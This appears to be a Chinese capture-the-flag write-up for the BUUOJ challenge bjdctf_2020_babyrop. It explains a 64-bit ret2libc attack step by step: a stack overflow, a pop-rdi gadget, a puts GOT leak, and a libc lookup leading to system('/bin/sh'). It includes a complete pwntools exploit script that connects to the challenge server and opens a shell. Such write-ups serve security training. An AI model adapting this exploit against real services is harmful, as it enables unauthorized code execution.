首页 > 其他分享 >[BUUOJ]bjdctf_2020_babyrop

[BUUOJ]bjdctf_2020_babyrop

时间:2023-06-07 14:02:13浏览次数:48  
标签:babyrop addr puts libc system BUUOJ 2020 got p64


bjdctf_2020_babyrop

先checksec,64位小端序,MX保护开,其它全关,接着进入IDA分析

main函数内很简单,进一步分析后找到关键函数vuln

[BUUOJ]bjdctf_2020_babyrop_寄存器

本题没有找到backdoor,所以应该是做基地址泄露然后getshell,整个程序内只有puts函数可以输出内容,因此对puts函数进行修改,先溢出后转到此处,考虑到系统会对堆栈进行平衡,所以我们要修改puts的参数需要先进行一次pop保证堆栈平衡,因此使用ROPgadget先找到符合我们条件的ROP

在x64中前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。
因此需要找到pop rdi,ret的gadget

64位的system调用的大坑
64位的system调用会判断rsp的值是否%16=0;解决方法是在调用system之前使用ret来帮助解决;
然而对齐问题解决就行了吗?不存在的,还是会出现问题。因为这个涉及到栈平衡的问题,所以最好的解决办法,是不要把栈平衡问题遗留到system调用的时候,应该在哪里出现就在哪里解决。

[BUUOJ]bjdctf_2020_babyrop_1024程序员节_02

puts_got是puts函数的got表项地址,里面装的是puts的真实地址。使用pop_rdi_ret会把puts_got作为参数弹到寄存器rdi上。接着执行puts_plt(puts_got),就能得到puts真实地址。

到这里我们就可以构造payload了,大体思路就是保持堆栈平衡,然后利用puts函数泄露其got地址,然后找到其对应的lib,就可以修改令其执行/bin/sh,从而getshell

from pwn import *
from LibcSearcher import *

#context.log_level="debug"

context(os='linux',arch='i386', log_level = 'debug')

#p=process('./bjdctf_2020_babyrop')
elf=ELF('./bjdctf_2020_babyrop')
p=remote('node4.buuoj.cn', 28430)

pop_rdi_addr=0x0000000000400733
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.recvuntil(b"story!\n")
main_addr = elf.symbols['main']

payload = b'a'*(0x20 + 8) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print("puts addr: " + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload=b'a'*(0x20 + 8) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()


标签:babyrop,addr,puts,libc,system,BUUOJ,2020,got,p64
From: https://blog.51cto.com/u_15567308/6431280

相关文章

  • buuoj-2023六月挑战赛|二进制专项-a dream
    buuoj-2023六月挑战赛|二进制专项-Adream总结练习了一下做题手感题目分析沙盒lineCODEJTJFK=================================0000:0x200x000x000x00000004A=arch0001:0x150x000x080xc000003eif(A!=ARCH_X86_64)goto00100002:0x......
  • 气相色谱质谱联用仪GCMS-QP2020性能和设计特点
    气相色谱质谱联用仪GCMS-QP2020的特点:集成高灵敏度和低实验成本:依托质谱技术,兼容多种载气类型(He,H2,N2),开拓质谱技术分析极限。无需更换离子源,轻松切换离子化方式。1)高灵敏度采用屏蔽板(Shield)技术的整体惰性化高灵敏度离子源和的“偏转透镜(ODlens)技术”配合“新型低噪音CPU板”,有效降......
  • [ACTF2020 新生赛]Include 1 做题笔记
     点开tips 打开源代码看看 没发现什么信息,试试构造?file=php://filter/read=convert.base64-encode/resource=flag.php 得到base64,试着解码 得到flag......
  • MISC|[MRCTF2020]Unravel!!
    解压得到三个文件其中有一个音频叫Look_at_the_file_ending.wav,暗示看文件尾部,使用010editor打开发现key,应该是压缩包的解压密码,但是直接试失败key=U2FsdGVkX1/nSQN+hoHL8OwV9iJB/mSdKk5dmusulz4=查看JM.png文件发现尾部有压缩包使用foremost分离得到图片,图片名称为aes......
  • IDEA 2020.1官网汉化插件安装
    idea终于更新了2020.1版本(推荐使用2020的版本),新增了好多的特性,官方也终于支持了中文语言包,但是有些兄弟下载后在插件市场无法找到官方的汉化包等问题,请安装下面操作即可:1、去IDEA插件中心(https://plugins.jetbrains.com/idea)搜索Chinese(Simplified)LanguagePackEAP2、点进......
  • JOISC 2020 题解
    JOISC2020Day1建筑装饰4Building4我们发现\(A\)的个数是连续的,所以我们只需要DP出最大的\(A\)的个数和最大的\(B\)的个数,若两者都\(\gen\)那么就有解。然后再从后往前推出方案即可。https://qoj.ac/submission/109314*JOISC2020Day1汉堡肉HamburgSteak我们......
  • CSP-J 2020 普及组讲解
    CSP-J2020T1优秀的拆分题目的本质是求\(n\)的二进制表示。求\(n\)的二进制表示,或者每次暴力分解出小于等于\(n\)的最大的\(2\)的正整数次幂。时间复杂度\(O(\log{n})\)。T2直播获奖给定\(n\)个人的分数,对于每个\(i\),请你求出前\(i\)个人的第\(k=\max(1,......
  • [2020集训队论文] 最小连通块
    这是一道交互题。交互库里有一棵$n$个点的树,你可以通过做若干次如下询问来确定这棵树:给定一个节点集合$S$和节点$x$,交互库会告诉你$x$是否在包含$S$的最小连通块中。Details具体的,你需要引用头文件D.h并且实现以下函数:std::vector<std::pair<int,int>>work(int......
  • ANSYS 2020 R2 软件安装教程ANSYS 2020 R2 软件安装包下载
    [名称]:ANSYS2020R2[大小]:18.76GB[语言]:中/英文[适用系统]:win10,win11[简介]:ANSYS是融结构、流体、电场、磁场、声场分析于一体的大型通用有限元分析软件。[64位下载地址]:https://pan.baidu.com/s/1nt3RsQCYGx73yqYcZRMQQQ密码:jdv3安装有问题或需要远程安装请联系:人工客服安装步骤......
  • PyCharm 版本2020.3 如何设置默认的python版本 以及 对应的依赖镜像源
    要在PyCharm2020.3中设置默认的Python版本以及依赖镜像源,请按照以下步骤进行操作:设置默认的Python版本:打开PyCharm,并打开您的项目。点击菜单栏上的"File"(文件)选项,然后选择"Settings"(设置)。在弹出的窗口中,展开"Project:YourProjectName"(项目:您的项目名)。点击"ProjectI......